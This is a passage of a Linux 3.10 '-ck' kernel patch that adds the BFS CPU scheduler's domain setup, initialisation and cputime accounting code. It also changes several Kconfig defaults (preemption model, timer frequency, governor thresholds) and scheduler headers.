++			return NULL;
++		}
++	}
++	return doms;
++}
++
++void free_sched_domains(cpumask_var_t doms[], unsigned int ndoms)
++{
++	unsigned int i;
++	for (i = 0; i < ndoms; i++)
++		free_cpumask_var(doms[i]);
++	kfree(doms);
++}
++
++/*
++ * Set up scheduler domains and groups. Callers must hold the hotplug lock.
++ * For now this just excludes isolated cpus, but could be used to
++ * exclude other special cases in the future.
++ */
++static int init_sched_domains(const struct cpumask *cpu_map)
++{
++	int err;
++
++	arch_update_cpu_topology();
++	ndoms_cur = 1;
++	doms_cur = alloc_sched_domains(ndoms_cur);
++	if (!doms_cur)
++		doms_cur = &fallback_doms;
++	cpumask_andnot(doms_cur[0], cpu_map, cpu_isolated_map);
++	err = build_sched_domains(doms_cur[0], NULL);
++	register_sched_domain_sysctl();
++
++	return err;
++}
++
++/*
++ * Detach sched domains from a group of cpus specified in cpu_map
++ * These cpus will now be attached to the NULL domain
++ */
++static void detach_destroy_domains(const struct cpumask *cpu_map)
++{
++	int i;
++
++	rcu_read_lock();
++	for_each_cpu(i, cpu_map)
++		cpu_attach_domain(NULL, &def_root_domain, i);
++	rcu_read_unlock();
++}
++
++/* handle null as "default" */
++static int dattrs_equal(struct sched_domain_attr *cur, int idx_cur,
++			struct sched_domain_attr *new, int idx_new)
++{
++	struct sched_domain_attr tmp;
++
++	/* fast path */
++	if (!new && !cur)
++		return 1;
++
++	tmp = SD_ATTR_INIT;
++	return !memcmp(cur ? (cur + idx_cur) : &tmp,
++			new ? (new + idx_new) : &tmp,
++			sizeof(struct sched_domain_attr));
++}
++
++/*
++ * Partition sched domains as specified by the 'ndoms_new'
++ * cpumasks in the array doms_new[] of cpumasks. This compares
++ * doms_new[] to the current sched domain partitioning, doms_cur[].
++ * It destroys each deleted domain and builds each new domain.
++ *
++ * 'doms_new' is an array of cpumask_var_t's of length 'ndoms_new'.
++ * The masks don't intersect (don't overlap.) We should setup one
++ * sched domain for each mask. CPUs not in any of the cpumasks will
++ * not be load balanced. If the same cpumask appears both in the
++ * current 'doms_cur' domains and in the new 'doms_new', we can leave
++ * it as it is.
++ *
++ * The passed in 'doms_new' should be allocated using
++ * alloc_sched_domains.  This routine takes ownership of it and will
++ * free_sched_domains it when done with it. If the caller failed the
++ * alloc call, then it can pass in doms_new == NULL && ndoms_new == 1,
++ * and partition_sched_domains() will fallback to the single partition
++ * 'fallback_doms', it also forces the domains to be rebuilt.
++ *
++ * If doms_new == NULL it will be replaced with cpu_online_mask.
++ * ndoms_new == 0 is a special case for destroying existing domains,
++ * and it will not create the default domain.
++ *
++ * Call with hotplug lock held
++ */
++void partition_sched_domains(int ndoms_new, cpumask_var_t doms_new[],
++			     struct sched_domain_attr *dattr_new)
++{
++	int i, j, n;
++	int new_topology;
++
++	mutex_lock(&sched_domains_mutex);
++
++	/* always unregister in case we don't destroy any domains */
++	unregister_sched_domain_sysctl();
++
++	/* Let architecture update cpu core mappings. */
++	new_topology = arch_update_cpu_topology();
++
++	n = doms_new ? ndoms_new : 0;
++
++	/* Destroy deleted domains */
++	for (i = 0; i < ndoms_cur; i++) {
++		for (j = 0; j < n && !new_topology; j++) {
++			if (cpumask_equal(doms_cur[i], doms_new[j])
++			    && dattrs_equal(dattr_cur, i, dattr_new, j))
++				goto match1;
++		}
++		/* no match - a current sched domain not in new doms_new[] */
++		detach_destroy_domains(doms_cur[i]);
++match1:
++		;
++	}
++
++	if (doms_new == NULL) {
++		ndoms_cur = 0;
++		doms_new = &fallback_doms;
++		cpumask_andnot(doms_new[0], cpu_active_mask, cpu_isolated_map);
++		WARN_ON_ONCE(dattr_new);
++	}
++
++	/* Build new domains */
++	for (i = 0; i < ndoms_new; i++) {
++		for (j = 0; j < ndoms_cur && !new_topology; j++) {
++			if (cpumask_equal(doms_new[i], doms_cur[j])
++			    && dattrs_equal(dattr_new, i, dattr_cur, j))
++				goto match2;
++		}
++		/* no match - add a new doms_new */
++		build_sched_domains(doms_new[i], dattr_new ? dattr_new + i : NULL);
++match2:
++		;
++	}
++
++	/* Remember the new sched domains */
++	if (doms_cur != &fallback_doms)
++		free_sched_domains(doms_cur, ndoms_cur);
++	kfree(dattr_cur);	/* kfree(NULL) is safe */
++	doms_cur = doms_new;
++	dattr_cur = dattr_new;
++	ndoms_cur = ndoms_new;
++
++	register_sched_domain_sysctl();
++
++	mutex_unlock(&sched_domains_mutex);
++}
++
++/*
++ * Update cpusets according to cpu_active mask.  If cpusets are
++ * disabled, cpuset_update_active_cpus() becomes a simple wrapper
++ * around partition_sched_domains().
++ */
++static int cpuset_cpu_active(struct notifier_block *nfb, unsigned long action,
++			     void *hcpu)
++{
++	switch (action & ~CPU_TASKS_FROZEN) {
++	case CPU_ONLINE:
++	case CPU_DOWN_FAILED:
++		cpuset_update_active_cpus(true);
++		return NOTIFY_OK;
++	default:
++		return NOTIFY_DONE;
++	}
++}
++
++static int cpuset_cpu_inactive(struct notifier_block *nfb, unsigned long action,
++			       void *hcpu)
++{
++	switch (action & ~CPU_TASKS_FROZEN) {
++	case CPU_DOWN_PREPARE:
++		cpuset_update_active_cpus(false);
++		return NOTIFY_OK;
++	default:
++		return NOTIFY_DONE;
++	}
++}
++
++#if defined(CONFIG_SCHED_SMT) || defined(CONFIG_SCHED_MC)
++/*
++ * Cheaper version of the below functions in case support for SMT and MC is
++ * compiled in but CPUs have no siblings.
++ */
++static bool sole_cpu_idle(int cpu)
++{
++	return rq_idle(cpu_rq(cpu));
++}
++#endif
++#ifdef CONFIG_SCHED_SMT
++/* All this CPU's SMT siblings are idle */
++static bool siblings_cpu_idle(int cpu)
++{
++	return cpumask_subset(&(cpu_rq(cpu)->smt_siblings),
++			      &grq.cpu_idle_map);
++}
++#endif
++#ifdef CONFIG_SCHED_MC
++/* All this CPU's shared cache siblings are idle */
++static bool cache_cpu_idle(int cpu)
++{
++	return cpumask_subset(&(cpu_rq(cpu)->cache_siblings),
++			      &grq.cpu_idle_map);
++}
++#endif
++
++enum sched_domain_level {
++	SD_LV_NONE = 0,
++	SD_LV_SIBLING,
++	SD_LV_MC,
++	SD_LV_BOOK,
++	SD_LV_CPU,
++	SD_LV_NODE,
++	SD_LV_ALLNODES,
++	SD_LV_MAX
++};
++
++void __init sched_init_smp(void)
++{
++	struct sched_domain *sd;
++	int cpu;
++
++	cpumask_var_t non_isolated_cpus;
++
++	alloc_cpumask_var(&non_isolated_cpus, GFP_KERNEL);
++	alloc_cpumask_var(&fallback_doms, GFP_KERNEL);
++
++	sched_init_numa();
++
++	get_online_cpus();
++	mutex_lock(&sched_domains_mutex);
++	init_sched_domains(cpu_active_mask);
++	cpumask_andnot(non_isolated_cpus, cpu_possible_mask, cpu_isolated_map);
++	if (cpumask_empty(non_isolated_cpus))
++		cpumask_set_cpu(smp_processor_id(), non_isolated_cpus);
++	mutex_unlock(&sched_domains_mutex);
++	put_online_cpus();
++
++	hotcpu_notifier(sched_domains_numa_masks_update, CPU_PRI_SCHED_ACTIVE);
++	hotcpu_notifier(cpuset_cpu_active, CPU_PRI_CPUSET_ACTIVE);
++	hotcpu_notifier(cpuset_cpu_inactive, CPU_PRI_CPUSET_INACTIVE);
++
++	/* Move init over to a non-isolated CPU */
++	if (set_cpus_allowed_ptr(current, non_isolated_cpus) < 0)
++		BUG();
++	free_cpumask_var(non_isolated_cpus);
++
++	grq_lock_irq();
++	/*
++	 * Set up the relative cache distance of each online cpu from each
++	 * other in a simple array for quick lookup. Locality is determined
++	 * by the closest sched_domain that CPUs are separated by. CPUs with
++	 * shared cache in SMT and MC are treated as local. Separate CPUs
++	 * (within the same package or physically) within the same node are
++	 * treated as not local. CPUs not even in the same domain (different
++	 * nodes) are treated as very distant.
++	 */
++	for_each_online_cpu(cpu) {
++		struct rq *rq = cpu_rq(cpu);
++
++		mutex_lock(&sched_domains_mutex);
++		for_each_domain(cpu, sd) {
++			int locality, other_cpu;
++
++#ifdef CONFIG_SCHED_SMT
++			if (sd->level == SD_LV_SIBLING) {
++				for_each_cpu_mask(other_cpu, *sched_domain_span(sd))
++					cpumask_set_cpu(other_cpu, &rq->smt_siblings);
++			}
++#endif
++#ifdef CONFIG_SCHED_MC
++			if (sd->level == SD_LV_MC) {
++				for_each_cpu_mask(other_cpu, *sched_domain_span(sd))
++					cpumask_set_cpu(other_cpu, &rq->cache_siblings);
++			}
++#endif
++			if (sd->level <= SD_LV_SIBLING)
++				locality = 1;
++			else if (sd->level <= SD_LV_MC)
++				locality = 2;
++			else if (sd->level <= SD_LV_NODE)
++				locality = 3;
++			else
++				continue;
++
++			for_each_cpu_mask(other_cpu, *sched_domain_span(sd)) {
++				if (locality < rq->cpu_locality[other_cpu])
++					rq->cpu_locality[other_cpu] = locality;
++			}
++		}
++		mutex_unlock(&sched_domains_mutex);
++
++		/*
++		 * Each runqueue has its own function in case it doesn't have
++		 * siblings of its own allowing mixed topologies.
++		 */
++#ifdef CONFIG_SCHED_SMT
++		if (cpus_weight(rq->smt_siblings) > 1)
++			rq->siblings_idle = siblings_cpu_idle;
++#endif
++#ifdef CONFIG_SCHED_MC
++		if (cpus_weight(rq->cache_siblings) > 1)
++			rq->cache_idle = cache_cpu_idle;
++#endif
++	}
++	grq_unlock_irq();
++}
++#else
++void __init sched_init_smp(void)
++{
++}
++#endif /* CONFIG_SMP */
++
++unsigned int sysctl_timer_migration = 1;
++
++int in_sched_functions(unsigned long addr)
++{
++	return in_lock_functions(addr) ||
++		(addr >= (unsigned long)__sched_text_start
++		&& addr < (unsigned long)__sched_text_end);
++}
++
++void __init sched_init(void)
++{
++	int i;
++	struct rq *rq;
++
++	prio_ratios[0] = 128;
++	for (i = 1 ; i < PRIO_RANGE ; i++)
++		prio_ratios[i] = prio_ratios[i - 1] * 11 / 10;
++
++	raw_spin_lock_init(&grq.lock);
++	grq.nr_running = grq.nr_uninterruptible = grq.nr_switches = 0;
++	grq.niffies = 0;
++	grq.last_jiffy = jiffies;
++	raw_spin_lock_init(&grq.iso_lock);
++	grq.iso_ticks = 0;
++	grq.iso_refractory = false;
++	grq.noc = 1;
++#ifdef CONFIG_SMP
++	init_defrootdomain();
++	grq.qnr = grq.idle_cpus = 0;
++	cpumask_clear(&grq.cpu_idle_map);
++#else
++	uprq = &per_cpu(runqueues, 0);
++#endif
++	for_each_possible_cpu(i) {
++		rq = cpu_rq(i);
++		rq->user_pc = rq->nice_pc = rq->softirq_pc = rq->system_pc =
++			      rq->iowait_pc = rq->idle_pc = 0;
++		rq->dither = false;
++#ifdef CONFIG_SMP
++		rq->sticky_task = NULL;
++		rq->last_niffy = 0;
++		rq->sd = NULL;
++		rq->rd = NULL;
++		rq->online = false;
++		rq->cpu = i;
++		rq_attach_root(rq, &def_root_domain);
++#endif
++		atomic_set(&rq->nr_iowait, 0);
++	}
++
++#ifdef CONFIG_SMP
++	nr_cpu_ids = i;
++	/*
++	 * Set the base locality for cpu cache distance calculation to
++	 * "distant" (3). Make sure the distance from a CPU to itself is 0.
++	 */
++	for_each_possible_cpu(i) {
++		int j;
++
++		rq = cpu_rq(i);
++#ifdef CONFIG_SCHED_SMT
++		cpumask_clear(&rq->smt_siblings);
++		cpumask_set_cpu(i, &rq->smt_siblings);
++		rq->siblings_idle = sole_cpu_idle;
++		cpumask_set_cpu(i, &rq->smt_siblings);
++#endif
++#ifdef CONFIG_SCHED_MC
++		cpumask_clear(&rq->cache_siblings);
++		cpumask_set_cpu(i, &rq->cache_siblings);
++		rq->cache_idle = sole_cpu_idle;
++		cpumask_set_cpu(i, &rq->cache_siblings);
++#endif
++		rq->cpu_locality = kmalloc(nr_cpu_ids * sizeof(int *), GFP_ATOMIC);
++		for_each_possible_cpu(j) {
++			if (i == j)
++				rq->cpu_locality[j] = 0;
++			else
++				rq->cpu_locality[j] = 4;
++		}
++	}
++#endif
++
++	for (i = 0; i < PRIO_LIMIT; i++)
++		INIT_LIST_HEAD(grq.queue + i);
++	/* delimiter for bitsearch */
++	__set_bit(PRIO_LIMIT, grq.prio_bitmap);
++
++#ifdef CONFIG_PREEMPT_NOTIFIERS
++	INIT_HLIST_HEAD(&init_task.preempt_notifiers);
++#endif
++
++#ifdef CONFIG_RT_MUTEXES
++	plist_head_init(&init_task.pi_waiters);
++#endif
++
++	/*
++	 * The boot idle thread does lazy MMU switching as well:
++	 */
++	atomic_inc(&init_mm.mm_count);
++	enter_lazy_tlb(&init_mm, current);
++
++	/*
++	 * Make us the idle thread. Technically, schedule() should not be
++	 * called from this thread, however somewhere below it might be,
++	 * but because we are the idle thread, we just pick up running again
++	 * when this runqueue becomes "idle".
++	 */
++	init_idle(current, smp_processor_id());
++
++#ifdef CONFIG_SMP
++	zalloc_cpumask_var(&sched_domains_tmpmask, GFP_NOWAIT);
++	/* May be allocated at isolcpus cmdline parse time */
++	if (cpu_isolated_map == NULL)
++		zalloc_cpumask_var(&cpu_isolated_map, GFP_NOWAIT);
++	idle_thread_set_boot_cpu();
++#endif /* SMP */
++}
++
++#ifdef CONFIG_DEBUG_ATOMIC_SLEEP
++static inline int preempt_count_equals(int preempt_offset)
++{
++	int nested = (preempt_count() & ~PREEMPT_ACTIVE) + rcu_preempt_depth();
++
++	return (nested == preempt_offset);
++}
++
++void __might_sleep(const char *file, int line, int preempt_offset)
++{
++	static unsigned long prev_jiffy;	/* ratelimiting */
++
++	rcu_sleep_check(); /* WARN_ON_ONCE() by default, no rate limit reqd. */
++	if ((preempt_count_equals(preempt_offset) && !irqs_disabled()) ||
++	    system_state != SYSTEM_RUNNING || oops_in_progress)
++		return;
++	if (time_before(jiffies, prev_jiffy + HZ) && prev_jiffy)
++		return;
++	prev_jiffy = jiffies;
++
++	printk(KERN_ERR
++		"BUG: sleeping function called from invalid context at %s:%d\n",
++			file, line);
++	printk(KERN_ERR
++		"in_atomic(): %d, irqs_disabled(): %d, pid: %d, name: %s\n",
++			in_atomic(), irqs_disabled(),
++			current->pid, current->comm);
++
++	debug_show_held_locks(current);
++	if (irqs_disabled())
++		print_irqtrace_events(current);
++	dump_stack();
++}
++EXPORT_SYMBOL(__might_sleep);
++#endif
++
++#ifdef CONFIG_MAGIC_SYSRQ
++void normalize_rt_tasks(void)
++{
++	struct task_struct *g, *p;
++	unsigned long flags;
++	struct rq *rq;
++	int queued;
++
++	read_lock_irqsave(&tasklist_lock, flags);
++
++	do_each_thread(g, p) {
++		if (!rt_task(p) && !iso_task(p))
++			continue;
++
++		raw_spin_lock(&p->pi_lock);
++		rq = __task_grq_lock(p);
++
++		queued = task_queued(p);
++		if (queued)
++			dequeue_task(p);
++		__setscheduler(p, rq, SCHED_NORMAL, 0);
++		if (queued) {
++			enqueue_task(p);
++			try_preempt(p, rq);
++		}
++
++		__task_grq_unlock();
++		raw_spin_unlock(&p->pi_lock);
++	} while_each_thread(g, p);
++
++	read_unlock_irqrestore(&tasklist_lock, flags);
++}
++#endif /* CONFIG_MAGIC_SYSRQ */
++
++#if defined(CONFIG_IA64) || defined(CONFIG_KGDB_KDB)
++/*
++ * These functions are only useful for the IA64 MCA handling, or kdb.
++ *
++ * They can only be called when the whole system has been
++ * stopped - every CPU needs to be quiescent, and no scheduling
++ * activity can take place. Using them for anything else would
++ * be a serious bug, and as a result, they aren't even visible
++ * under any other configuration.
++ */
++
++/**
++ * curr_task - return the current task for a given cpu.
++ * @cpu: the processor in question.
++ *
++ * ONLY VALID WHEN THE WHOLE SYSTEM IS STOPPED!
++ */
++struct task_struct *curr_task(int cpu)
++{
++	return cpu_curr(cpu);
++}
++
++#endif /* defined(CONFIG_IA64) || defined(CONFIG_KGDB_KDB) */
++
++#ifdef CONFIG_IA64
++/**
++ * set_curr_task - set the current task for a given cpu.
++ * @cpu: the processor in question.
++ * @p: the task pointer to set.
++ *
++ * Description: This function must only be used when non-maskable interrupts
++ * are serviced on a separate stack.  It allows the architecture to switch the
++ * notion of the current task on a cpu in a non-blocking manner.  This function
++ * must be called with all CPU's synchronised, and interrupts disabled, the
++ * and caller must save the original value of the current task (see
++ * curr_task() above) and restore that value before reenabling interrupts and
++ * re-starting the system.
++ *
++ * ONLY VALID WHEN THE WHOLE SYSTEM IS STOPPED!
++ */
++void set_curr_task(int cpu, struct task_struct *p)
++{
++	cpu_curr(cpu) = p;
++}
++
++#endif
++
++/*
++ * Use precise platform statistics if available:
++ */
++#ifdef CONFIG_VIRT_CPU_ACCOUNTING_NATIVE
++void task_cputime_adjusted(struct task_struct *p, cputime_t *ut, cputime_t *st)
++{
++	*ut = p->utime;
++	*st = p->stime;
++}
++
++void thread_group_cputime_adjusted(struct task_struct *p, cputime_t *ut, cputime_t *st)
++{
++	struct task_cputime cputime;
++
++	thread_group_cputime(p, &cputime);
++
++	*ut = cputime.utime;
++	*st = cputime.stime;
++}
++
++void vtime_account_system_irqsafe(struct task_struct *tsk)
++{
++	unsigned long flags;
++
++	local_irq_save(flags);
++	vtime_account_system(tsk);
++	local_irq_restore(flags);
++}
++EXPORT_SYMBOL_GPL(vtime_account_system_irqsafe);
++
++#ifndef __ARCH_HAS_VTIME_TASK_SWITCH
++void vtime_task_switch(struct task_struct *prev)
++{
++	if (is_idle_task(prev))
++		vtime_account_idle(prev);
++	else
++		vtime_account_system(prev);
++
++	vtime_account_user(prev);
++	arch_vtime_task_switch(prev);
++}
++#endif
++
++#else
++/*
++ * Perform (stime * rtime) / total, but avoid multiplication overflow by
++ * losing precision when the numbers are big.
++ */
++static cputime_t scale_stime(u64 stime, u64 rtime, u64 total)
++{
++	u64 scaled;
++
++	for (;;) {
++		/* Make sure "rtime" is the bigger of stime/rtime */
++		if (stime > rtime) {
++			u64 tmp = rtime; rtime = stime; stime = tmp;
++		}
++
++		/* Make sure 'total' fits in 32 bits */
++		if (total >> 32)
++			goto drop_precision;
++
++		/* Does rtime (and thus stime) fit in 32 bits? */
++		if (!(rtime >> 32))
++			break;
++
++		/* Can we just balance rtime/stime rather than dropping bits? */
++		if (stime >> 31)
++			goto drop_precision;
++
++		/* We can grow stime and shrink rtime and try to make them both fit */
++		stime <<= 1;
++		rtime >>= 1;
++		continue;
++
++drop_precision:
++		/* We drop from rtime, it has more bits than stime */
++		rtime >>= 1;
++		total >>= 1;
++	}
++
++	/*
++	 * Make sure gcc understands that this is a 32x32->64 multiply,
++	 * followed by a 64/32->64 divide.
++	 */
++	scaled = div_u64((u64) (u32) stime * (u64) (u32) rtime, (u32)total);
++	return (__force cputime_t) scaled;
++}
++
++/*
++ * Adjust tick based cputime random precision against scheduler
++ * runtime accounting.
++ */
++static void cputime_adjust(struct task_cputime *curr,
++			   struct cputime *prev,
++			   cputime_t *ut, cputime_t *st)
++{
++	cputime_t rtime, stime, utime, total;
++
++	stime = curr->stime;
++	total = stime + curr->utime;
++
++	/*
++	 * Tick based cputime accounting depend on random scheduling
++	 * timeslices of a task to be interrupted or not by the timer.
++	 * Depending on these circumstances, the number of these interrupts
++	 * may be over or under-optimistic, matching the real user and system
++	 * cputime with a variable precision.
++	 *
++	 * Fix this by scaling these tick based values against the total
++	 * runtime accounted by the CFS scheduler.
++	 */
++	rtime = nsecs_to_cputime(curr->sum_exec_runtime);
++
++	/*
++	 * Update userspace visible utime/stime values only if actual execution
++	 * time is bigger than already exported. Note that can happen, that we
++	 * provided bigger values due to scaling inaccuracy on big numbers.
++	 */
++	if (prev->stime + prev->utime >= rtime)
++		goto out;
++
++	if (total) {
++		stime = scale_stime((__force u64)stime,
++				    (__force u64)rtime, (__force u64)total);
++		utime = rtime - stime;
++	} else {
++		stime = rtime;
++		utime = 0;
++	}
++
++	/*
++	 * If the tick based count grows faster than the scheduler one,
++	 * the result of the scaling may go backward.
++	 * Let's enforce monotonicity.
++	 */
++	prev->stime = max(prev->stime, stime);
++	prev->utime = max(prev->utime, utime);
++
++out:
++	*ut = prev->utime;
++	*st = prev->stime;
++}
++
++void task_cputime_adjusted(struct task_struct *p, cputime_t *ut, cputime_t *st)
++{
++	struct task_cputime cputime = {
++		.sum_exec_runtime = tsk_seruntime(p),
++	};
++
++	task_cputime(p, &cputime.utime, &cputime.stime);
++	cputime_adjust(&cputime, &p->prev_cputime, ut, st);
++}
++
++/*
++ * Must be called with siglock held.
++ */
++void thread_group_cputime_adjusted(struct task_struct *p, cputime_t *ut, cputime_t *st)
++{
++	struct task_cputime cputime;
++
++	thread_group_cputime(p, &cputime);
++	cputime_adjust(&cputime, &p->signal->prev_cputime, ut, st);
++}
++#endif
++
++void __cpuinit init_idle_bootup_task(struct task_struct *idle)
++{}
++
++#ifdef CONFIG_SCHED_DEBUG
++void proc_sched_show_task(struct task_struct *p, struct seq_file *m)
++{}
++
++void proc_sched_set_task(struct task_struct *p)
++{}
++#endif
++
++#ifdef CONFIG_SMP
++#define SCHED_LOAD_SHIFT	(10)
++#define SCHED_LOAD_SCALE	(1L << SCHED_LOAD_SHIFT)
++
++unsigned long default_scale_freq_power(struct sched_domain *sd, int cpu)
++{
++	return SCHED_LOAD_SCALE;
++}
++
++unsigned long default_scale_smt_power(struct sched_domain *sd, int cpu)
++{
++	unsigned long weight = cpumask_weight(sched_domain_span(sd));
++	unsigned long smt_gain = sd->smt_gain;
++
++	smt_gain /= weight;
++
++	return smt_gain;
++}
++#endif
+Index: linux-3.10-ck1/include/uapi/linux/sched.h
+===================================================================
+--- linux-3.10-ck1.orig/include/uapi/linux/sched.h	2013-07-09 17:28:57.142502083 +1000
++++ linux-3.10-ck1/include/uapi/linux/sched.h	2013-07-09 17:29:00.843501924 +1000
+@@ -37,8 +37,15 @@
+ #define SCHED_FIFO		1
+ #define SCHED_RR		2
+ #define SCHED_BATCH		3
+-/* SCHED_ISO: reserved but not implemented yet */
++/* SCHED_ISO: Implemented on BFS only */
+ #define SCHED_IDLE		5
++#ifdef CONFIG_SCHED_BFS
++#define SCHED_ISO		4
++#define SCHED_IDLEPRIO		SCHED_IDLE
++#define SCHED_MAX		(SCHED_IDLEPRIO)
++#define SCHED_RANGE(policy)	((policy) <= SCHED_MAX)
++#endif
++
+ /* Can be ORed in to make sure the process is reverted back to SCHED_NORMAL on fork */
+ #define SCHED_RESET_ON_FORK     0x40000000
+ 
+Index: linux-3.10-ck1/include/linux/sched/rt.h
+===================================================================
+--- linux-3.10-ck1.orig/include/linux/sched/rt.h	2013-07-09 17:28:57.158502083 +1000
++++ linux-3.10-ck1/include/linux/sched/rt.h	2013-07-09 17:29:00.844501924 +1000
+@@ -14,11 +14,24 @@
+  * MAX_RT_PRIO must not be smaller than MAX_USER_RT_PRIO.
+  */
+ 
++#ifdef CONFIG_SCHED_BFS
++#define MAX_USER_RT_PRIO	100
++#define MAX_RT_PRIO		(MAX_USER_RT_PRIO + 1)
++#define DEFAULT_PRIO		(MAX_RT_PRIO + 20)
++
++#define PRIO_RANGE		(40)
++#define MAX_PRIO		(MAX_RT_PRIO + PRIO_RANGE)
++#define ISO_PRIO		(MAX_RT_PRIO)
++#define NORMAL_PRIO		(MAX_RT_PRIO + 1)
++#define IDLE_PRIO		(MAX_RT_PRIO + 2)
++#define PRIO_LIMIT		((IDLE_PRIO) + 1)
++#else /* CONFIG_SCHED_BFS */
+ #define MAX_USER_RT_PRIO	100
+ #define MAX_RT_PRIO		MAX_USER_RT_PRIO
+ 
+ #define MAX_PRIO		(MAX_RT_PRIO + 40)
+ #define DEFAULT_PRIO		(MAX_RT_PRIO + 20)
++#endif /* CONFIG_SCHED_BFS */
+ 
+ static inline int rt_prio(int prio)
+ {
+Index: linux-3.10-ck1/kernel/stop_machine.c
+===================================================================
+--- linux-3.10-ck1.orig/kernel/stop_machine.c	2013-07-09 17:28:57.177502082 +1000
++++ linux-3.10-ck1/kernel/stop_machine.c	2013-07-09 17:29:00.844501924 +1000
+@@ -40,7 +40,8 @@
+ };
+ 
+ static DEFINE_PER_CPU(struct cpu_stopper, cpu_stopper);
+-static DEFINE_PER_CPU(struct task_struct *, cpu_stopper_task);
++DEFINE_PER_CPU(struct task_struct *, cpu_stopper_task);
++
+ static bool stop_machine_initialized = false;
+ 
+ static void cpu_stop_init_done(struct cpu_stop_done *done, unsigned int nr_todo)
+Index: linux-3.10-ck1/drivers/cpufreq/cpufreq_conservative.c
+===================================================================
+--- linux-3.10-ck1.orig/drivers/cpufreq/cpufreq_conservative.c	2013-07-09 17:28:57.219502080 +1000
++++ linux-3.10-ck1/drivers/cpufreq/cpufreq_conservative.c	2013-07-09 17:29:00.844501924 +1000
+@@ -27,8 +27,8 @@
+ #include "cpufreq_governor.h"
+ 
+ /* Conservative governor macros */
+-#define DEF_FREQUENCY_UP_THRESHOLD		(80)
+-#define DEF_FREQUENCY_DOWN_THRESHOLD		(20)
++#define DEF_FREQUENCY_UP_THRESHOLD		(63)
++#define DEF_FREQUENCY_DOWN_THRESHOLD		(26)
+ #define DEF_FREQUENCY_STEP			(5)
+ #define DEF_SAMPLING_DOWN_FACTOR		(1)
+ #define MAX_SAMPLING_DOWN_FACTOR		(10)
+Index: linux-3.10-ck1/kernel/sched/Makefile
+===================================================================
+--- linux-3.10-ck1.orig/kernel/sched/Makefile	2013-07-09 17:28:57.194502081 +1000
++++ linux-3.10-ck1/kernel/sched/Makefile	2013-07-09 17:29:00.844501924 +1000
+@@ -11,9 +11,13 @@
+ CFLAGS_core.o := $(PROFILING) -fno-omit-frame-pointer
+ endif
+ 
++ifdef CONFIG_SCHED_BFS
++obj-y += bfs.o clock.o
++else
+ obj-y += core.o clock.o cputime.o idle_task.o fair.o rt.o stop_task.o
+-obj-$(CONFIG_SMP) += cpupri.o
+ obj-$(CONFIG_SCHED_AUTOGROUP) += auto_group.o
+-obj-$(CONFIG_SCHEDSTATS) += stats.o
+ obj-$(CONFIG_SCHED_DEBUG) += debug.o
+ obj-$(CONFIG_CGROUP_CPUACCT) += cpuacct.o
++endif
++obj-$(CONFIG_SMP) += cpupri.o
++obj-$(CONFIG_SCHEDSTATS) += stats.o
+Index: linux-3.10-ck1/kernel/time/Kconfig
+===================================================================
+--- linux-3.10-ck1.orig/kernel/time/Kconfig	2013-07-09 17:28:57.190502081 +1000
++++ linux-3.10-ck1/kernel/time/Kconfig	2013-07-09 17:29:00.844501924 +1000
+@@ -94,7 +94,7 @@
+ config NO_HZ_FULL
+ 	bool "Full dynticks system (tickless)"
+ 	# NO_HZ_COMMON dependency
+-	depends on !ARCH_USES_GETTIMEOFFSET && GENERIC_CLOCKEVENTS
++	depends on !ARCH_USES_GETTIMEOFFSET && GENERIC_CLOCKEVENTS && !SCHED_BFS
+ 	# We need at least one periodic CPU for timekeeping
+ 	depends on SMP
+ 	# RCU_USER_QS dependency
+Index: linux-3.10-ck1/kernel/Kconfig.preempt
+===================================================================
+--- linux-3.10-ck1.orig/kernel/Kconfig.preempt	2013-07-09 17:28:57.103502085 +1000
++++ linux-3.10-ck1/kernel/Kconfig.preempt	2013-07-09 17:29:01.081501914 +1000
+@@ -1,7 +1,7 @@
+ 
+ choice
+ 	prompt "Preemption Model"
+-	default PREEMPT_NONE
++	default PREEMPT
+ 
+ config PREEMPT_NONE
+ 	bool "No Forced Preemption (Server)"
+@@ -17,7 +17,7 @@
+ 	  latencies.
+ 
+ config PREEMPT_VOLUNTARY
+-	bool "Voluntary Kernel Preemption (Desktop)"
++	bool "Voluntary Kernel Preemption (Nothing)"
+ 	help
+ 	  This option reduces the latency of the kernel by adding more
+ 	  "explicit preemption points" to the kernel code. These new
+@@ -31,7 +31,8 @@
+ 	  applications to run more 'smoothly' even when the system is
+ 	  under load.
+ 
+-	  Select this if you are building a kernel for a desktop system.
++	  Select this for no system in particular (choose Preemptible
++	  instead on a desktop if you know what's good for you).
+ 
+ config PREEMPT
+ 	bool "Preemptible Kernel (Low-Latency Desktop)"
+Index: linux-3.10-ck1/kernel/Kconfig.hz
+===================================================================
+--- linux-3.10-ck1.orig/kernel/Kconfig.hz	2013-07-09 17:28:57.088502086 +1000
++++ linux-3.10-ck1/kernel/Kconfig.hz	2013-07-09 17:29:01.287501905 +1000
+@@ -4,7 +4,7 @@
+ 
+ choice
+ 	prompt "Timer frequency"
+-	default HZ_250
++	default HZ_1000
+ 	help
+ 	 Allows the configuration of the timer frequency. It is customary
+ 	 to have the timer interrupt run at 1000 Hz but 100 Hz may be more
+@@ -23,13 +23,14 @@
+ 	  with lots of processors that may show reduced performance if
+ 	  too many timer interrupts are occurring.
+ 
+-	config HZ_250
++	config HZ_250_NODEFAULT
+ 		bool "250 HZ"
+ 	help
+-	 250 Hz is a good compromise choice allowing server performance
+-	 while also showing good interactive responsiveness even
+-	 on SMP and NUMA systems. If you are going to be using NTSC video
+-	 or multimedia, selected 300Hz instead.
++	 250 HZ is a lousy compromise choice allowing server interactivity
++	 while also showing desktop throughput and no extra power saving on
++	 laptops. No good for anything.
++
++	 Recommend 100 or 1000 instead.
+ 
+ 	config HZ_300
+ 		bool "300 HZ"
+@@ -43,14 +44,16 @@
+ 		bool "1000 HZ"
+ 	help
+ 	 1000 Hz is the preferred choice for desktop systems and other
+-	 systems requiring fast interactive responses to events.
++	 systems requiring fast interactive responses to events. Laptops
++	 can also benefit from this choice without sacrificing battery life
++	 if dynticks is also enabled.
+ 
+ endchoice
+ 
+ config HZ
+ 	int
+ 	default 100 if HZ_100
+-	default 250 if HZ_250
++	default 250 if HZ_250_NODEFAULT
+ 	default 300 if HZ_300
+ 	default 1000 if HZ_1000
+ 
+Index: linux-3.10-ck1/arch/x86/Kconfig
+===================================================================
+--- linux-3.10-ck1.orig/arch/x86/Kconfig	2013-07-09 17:28:57.044502087 +1000
++++ linux-3.10-ck1/arch/x86/Kconfig	2013-07-09 17:29:01.392501900 +1000
+@@ -1149,7 +1149,7 @@
+ endchoice
+ 
+ choice
+-	prompt "Memory split" if EXPERT
++	prompt "Memory split"
+ 	default VMSPLIT_3G
+ 	depends on X86_32
